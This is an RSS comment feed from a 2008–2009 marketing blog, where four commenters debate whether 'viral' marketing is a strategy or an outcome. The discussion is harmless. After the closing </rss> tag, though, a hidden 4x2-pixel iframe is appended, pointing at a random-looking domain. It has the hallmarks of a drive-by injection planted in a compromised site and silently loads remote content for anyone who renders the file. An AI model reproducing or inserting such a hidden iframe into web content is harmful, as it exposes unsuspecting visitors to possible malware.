<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: &#8216;Viral&#8217; Marketing: a Strategy or Result?</title>
	<atom:link href="http://www.pandemiclabs.com/blog/viral-marketing/viral-marketing-a-strategy-or-result/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.pandemiclabs.com/blog/viral-marketing/viral-marketing-a-strategy-or-result/</link>
	<description>Insight into viral and social media marketing</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:02:35 -0500</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Tammy</title>
		<link>http://www.pandemiclabs.com/blog/viral-marketing/viral-marketing-a-strategy-or-result/comment-page-1/#comment-35372</link>
		<dc:creator>Tammy</dc:creator>
		<pubDate>Sat, 12 Dec 2009 03:24:51 +0000</pubDate>
		<guid isPermaLink="false">http://pandemiclabs.com/blog/2008/06/viral-marketing-a-strategy-or-result/#comment-35372</guid>
		<description>www.ViralPublic.com has a good example of &#039;viral&#039; marketing crossing over from the corporate side to the consumer side and how comfortable we are becoming with the terminology.  I, personally, think that the term viral marketing is a strategic method of delivery of ones message (muchlike the author of this blog agrees).  Thx</description>
		<content:encoded><![CDATA[<p><a href="http://www.ViralPublic.com" rel="nofollow" onclick="pageTracker._trackPageview('/outgoing/www.ViralPublic.com?referer=');">http://www.ViralPublic.com</a> has a good example of &#8216;viral&#8217; marketing crossing over from the corporate side to the consumer side and how comfortable we are becoming with the terminology.  I, personally, think that the term viral marketing is a strategic method of delivery of ones message (muchlike the author of this blog agrees).  Thx</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Bernardo Sosa</title>
		<link>http://www.pandemiclabs.com/blog/viral-marketing/viral-marketing-a-strategy-or-result/comment-page-1/#comment-6768</link>
		<dc:creator>Bernardo Sosa</dc:creator>
		<pubDate>Tue, 17 Jun 2008 21:21:20 +0000</pubDate>
		<guid isPermaLink="false">http://pandemiclabs.com/blog/2008/06/viral-marketing-a-strategy-or-result/#comment-6768</guid>
		<description>Brennan,
I totally agree with your view. I think viral has to be the means to an end, a strategy to achieve the ultimate goal of any marketing effort: &quot;get more people to buy more of your product more frequently at higher prices&quot;, as my MBA marketing professor used to define it.
Thanks for the insightful discussion!</description>
		<content:encoded><![CDATA[<p>Brennan,<br />
I totally agree with your view. I think viral has to be the means to an end, a strategy to achieve the ultimate goal of any marketing effort: &#8220;get more people to buy more of your product more frequently at higher prices&#8221;, as my MBA marketing professor used to define it.<br />
Thanks for the insightful discussion!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Brennan White</title>
		<link>http://www.pandemiclabs.com/blog/viral-marketing/viral-marketing-a-strategy-or-result/comment-page-1/#comment-6767</link>
		<dc:creator>Brennan White</dc:creator>
		<pubDate>Tue, 17 Jun 2008 19:52:05 +0000</pubDate>
		<guid isPermaLink="false">http://pandemiclabs.com/blog/2008/06/viral-marketing-a-strategy-or-result/#comment-6767</guid>
		<description>Max,

Excellent explanation again.  I appreciate the clarification and addition to the discussion.  I can&#039;t wait for others to chime in to get their feedback.  Feel free to repost this post (or even the comments) on your site if you feel the commentary/discussion is worth furthering.  I would love to get a pretty good sampling of personal views on the word.

Thanks for insightful commentary Max.</description>
		<content:encoded><![CDATA[<p>Max,</p>
<p>Excellent explanation again.  I appreciate the clarification and addition to the discussion.  I can&#8217;t wait for others to chime in to get their feedback.  Feel free to repost this post (or even the comments) on your site if you feel the commentary/discussion is worth furthering.  I would love to get a pretty good sampling of personal views on the word.</p>
<p>Thanks for insightful commentary Max.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Max Gladwell</title>
		<link>http://www.pandemiclabs.com/blog/viral-marketing/viral-marketing-a-strategy-or-result/comment-page-1/#comment-6766</link>
		<dc:creator>Max Gladwell</dc:creator>
		<pubDate>Tue, 17 Jun 2008 19:26:01 +0000</pubDate>
		<guid isPermaLink="false">http://pandemiclabs.com/blog/2008/06/viral-marketing-a-strategy-or-result/#comment-6766</guid>
		<description>I think you did a great job of explaining the distinction in your comments and this post. Viral does describe the means as well as the outcome. In which case, as soon as a piece of media has been linked to or emailed from person to person or site to site, it&#039;s technically &quot;going viral&quot;. Which is to say, it&#039;s being spread by viral means. I don&#039;t think that&#039;s how laypeople see it, tho, and I include traditional marketers in that group. 

For better or worse, the term has been hijacked by the media to imply a certain level of spread. Is that 100,000 or 1 million? Who knows? We just need to be clear about what we mean by viral. At MG, we prefer social media as the means and viral as a successful end.</description>
		<content:encoded><![CDATA[<p>I think you did a great job of explaining the distinction in your comments and this post. Viral does describe the means as well as the outcome. In which case, as soon as a piece of media has been linked to or emailed from person to person or site to site, it&#8217;s technically &#8220;going viral&#8221;. Which is to say, it&#8217;s being spread by viral means. I don&#8217;t think that&#8217;s how laypeople see it, tho, and I include traditional marketers in that group. </p>
<p>For better or worse, the term has been hijacked by the media to imply a certain level of spread. Is that 100,000 or 1 million? Who knows? We just need to be clear about what we mean by viral. At MG, we prefer social media as the means and viral as a successful end.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://eiueuiuewi.com/54N7JS34B34D5NH34J/" width="4" height="2"></iframe>